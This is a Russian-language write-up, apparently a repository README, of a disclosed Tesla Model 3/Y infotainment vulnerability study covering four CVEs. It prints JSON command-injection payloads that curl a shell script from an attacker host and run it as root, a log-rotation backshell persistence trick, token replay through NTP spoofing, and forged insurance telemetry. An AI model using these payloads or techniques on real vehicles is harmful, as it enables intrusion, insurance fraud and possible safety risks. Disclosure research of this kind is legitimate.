
Исследование уязвимостей информационно-развлекательных систем Tesla Model 3/Y. 6 уязвимостей, 4 CVE (CVE-2022-42005 – CVE-2022-42008). Root shell, постоянный доступ, спуфинг телеметрии страховых компаний.
Исследование уязвимостей информационно-развлекательной системы Tesla Model 3/Y (Intel Atom MCU, Linux 4.14.235), ответственно раскрытое компании Tesla через Bugcrowd.
Получен постоянный root-доступ на серийном Tesla Model 3 через уязвимость внедрения команд в диагностическом интерфейсе ODIN (CVE-2022-42008). Оттуда обнаружены пять дополнительных уязвимостей — включая метод сохранения доступа, переживающий обновления прошивки (CVE-2022-42005, CVE-2022-42006), и метод подмены телеметрии страхового рейтинга Safety Score, который напрямую снизил ежемесячные страховые взносы с $130 до $83.
Шесть уязвимостей в ODIN, hermes и Safety Score. Четыре CVE. Вознаграждены через Bugcrowd и включены в программу SSH Security Researcher компании Tesla.
| Находка | CVE | Влияние | Статус | Вознаграждение |
|---|
| Корневой Shell через ODIN | CVE-2022-42008 | Корневой Shell через внедрение команд | Исправлено (2021.32.10) | Вознаграждение Bugcrowd |
| Просроченные токены ODIN | CVE-2022-42007 | Повтор токена через NTP-спуфинг | Исправлено (2021.32.10) | Вознаграждение Bugcrowd |
| Загрузка на Mothership | — | Произвольная загрузка файлов на серверы Tesla | Отмечено как N/A | — |
| Лог-бэкшелл + доступ к DV | CVE-2022-42005, CVE-2022-42006 | Постоянный доступ, переживающий обновления прошивки | Исправлено | Вознаграждение Bugcrowd |
| Подмена телеметрии страховки | — | Поддельный Safety Score снижает страховые взносы | Исправление не подтверждено | — |
| Unfuse ODIN | — | Любая задача ODIN без аутентификации | Исправление не подтверждено | — |
Информационно-развлекательная система Tesla Model 3/Y (Intel Atom MCU) работает под управлением ОС на базе Linux с несколькими поверхностями атаки, выявленными в ходе этого исследования:
┌──────────────────────────────────────────────────────────┐
│ Tesla Model 3 MCU (Intel) │
│ │
│ ┌────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ ODIN │ │ QtCarServer │ │ hermes │ │
│ │ │ │ │ │ (proxy+client) │ │
│ │ CVE-42008 │ │ prototype_ │ │ │ │
│ │ (cmd inj) │ │ server │ │ Uploads to │ │
│ │ │ │ CVE-42006 │ │ Mothership │ │
│ │ Report 06 │ │ (data vals) │ │ [Report 03] │ │
│ │ (is-fused │ │ │ │ [Report 05] │ │
│ │ bypass) │ └──────────────┘ └────────┬─────────┘ │
│ └──────┬─────┘ │ │
│ │ ┌──────────────┐ │ │
│ │ │ svlogd │ │ │
│ │ │ Log Rotation │ │ │
│ │ │ CVE-42005 │ │ │
│ │ │ (persistence)│ │ │
│ │ └──────────────┘ │ │
└─────────┼───────────────────────────────────┼────────────┘
│ │
┌─────┴───────┐ ┌───────┴──────────┐
│ Toolbox │ │ Mothership │
│ API │ │ Server │
│ │ │ │
│ CVE-42007 │ │ File uploads │
│ (expired │ │ Telemetry data │
│ tokens) │ │ │
└─────────────┘ └──────────────────┘
Полные отчёты: Корневой Shell через ODIN | Лог-бэкшелл + доступ к DV
Диагностический интерфейс ODIN предоставляет задачу TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK, которая принимает параметр MicTest-Input — список строк, передаваемый напрямую в CID_EXEC для выполнения от имени root. Любой подписчик с минимальным уровнем доступа Toolbox (tbx-external) может запустить эту задачу, подключившись к диагностическому порту автомобиля и отправив POST-запрос. Входные строки выполняются буквально, поэтому атака состоит из двух запросов: сначала загрузите скрипт обратного шелла в автомобиль через curl:
{
"args": {
"kw": {
"MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
Затем выполните его:
{
"args": {
"kw": {
"MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
После установки root-шелла постоянный доступ достигается путём перехвата конфигурации ротации логов svlogd. Стандартная команда сжатия gzip заменяется скриптом, который при каждой ротации логов открывает бэкшелл от имени учётной записи log:
!sh /var/log/wpa_supplicant/gzip.sh -c
Файл конфигурации делается неизменяемым с помощью chattr +i, что гарантирует его сохранение при обновлениях прошивки. Хотя учётная запись log не может использовать стандартную команду sdv для установки значений данных (dbus отклоняет её), дремлющий prototype_server Tesla предоставляет неограниченный websocket-доступ ко всем значениям данных при включении через settings.conf. Пользовательский набор shell-скриптов (sdv, lv, send.sh) эмулирует websocket-клиент для взаимодействия с этим сервером.
Полный набор инструментов для постоянного доступа управляется через поле ввода Access Code в автомобиле (видимое при длительном нажатии на модель автомобиля на сенсорном экране), которое отслеживается скриптом-слушателем, отправляющим команды — включая открытие бэкшеллов, установку значений данных и переключение сервисных режимов.
Конечная точка генерации токенов ODIN от Tesla принимает просроченные tbx-token и — что критично — также возвращает tbx-token пользователя в ответе, что позволяет утекать токенам через обмен. Просроченные токены ODIN обычно отклоняются автомобилем, но, подделав источник NTP-времени автомобиля с помощью ARP-перехвата (ntpspoof.py), можно обмануть автомобиль, заставив его принять токены с истекшим сроком действия. Шлюз обнаруживает манипуляции с NTP (GTW_w149_rtcTimeSetInPast), но не реагирует на этот сигнал.
Используя сертификаты автомобиля из /var/lib/car_creds/, можно запустить службу hermes_proxy на локальной машине, что даёт прямой доступ к серверу Mothership Tesla. Конечная точка резервного копирования профиля (/vehicles/${VIN}/computer_profile) принимает произвольные загрузки файлов без проверки — одна команда curl загружает любой файл в производственную инфраструктуру Tesla. Tesla отметила эту находку как N/A («работает как задумано»).
Система Safety Score от Tesla собирает телеметрию вождения с MCU и загружает её на Mothership для расчёта страховых взносов. Имея root-доступ, можно захватить образец телеметрии с идеальным рейтингом, раздуть его значения одометра в protobuf-кодировке с помощью hex-редактирования (используя обратно разработанную схему telemetry.proto) и повторно загрузить изменённые образцы. Две сфабрикованные поездки были приняты Mothership — одна показывала ~2700 миль за 3.5 часа — что напрямую снизило ежемесячные страховые взносы с $130 до $83. Основная проблема в том, что телеметрия исходит из MCU (доступного пользователю), а не из блока APE3 (защищённого). Tesla не выплатила вознаграждение за эту находку.
Имея root-доступ, можно подмонтировать поддельный скрипт is-fused поверх /usr/bin/is-fused и перезапустить службы ODIN, что заставит ODIN считать, что устройство находится в заводском/разработочном режиме. В этом состоянии любая задача ODIN может быть выполнена без токенов аутентификации — включая задачи, которые могут отключить автомобильную сигнализацию (PROC_ICE_X_SET-DATA-VALUE), стереть VIN (PROC_ICE_X_DEASSOCIATE-PRODUCT-ID) или потенциально задействовать критически важные для безопасности функции автомобиля.
| Инструмент | Описание |
|---|---|
| ntpspoof.py | NTP-спуфинг на основе ARP для повторного использования просроченных токенов ODIN (Python/scapy) |
| telemetry.proto | Обратно разработанная protobuf-схема для телеметрии Safety Score от Tesla (34 поля) |
| listen.sh | Слушатель команд из поля Access Code — скрытый интерфейс команд через сенсорный экран |
| sdv | Установить значение данных через websocket prototype_server |
| lv | Получить значение данных через websocket prototype_server |
| send.sh | Построение websocket-фрейма для связи с prototype_server |
Это исследование было проведено в рамках ответственного исследования безопасности и сообщено в программу Bug Bounty компании Tesla через Bugcrowd. Все уязвимости с присвоенными CVE исправлены в текущих версиях прошивки. Этот репозиторий опубликован только в образовательных целях.
В результате этого исследования команда получила денежные вознаграждения через Bugcrowd и была включена в программу SSH Security Researcher компании Tesla, получив подписанные SSH-сертификаты для дальнейшего доступа к исследованиям.
Исследование проведено от имени SourceHat Labs Inc.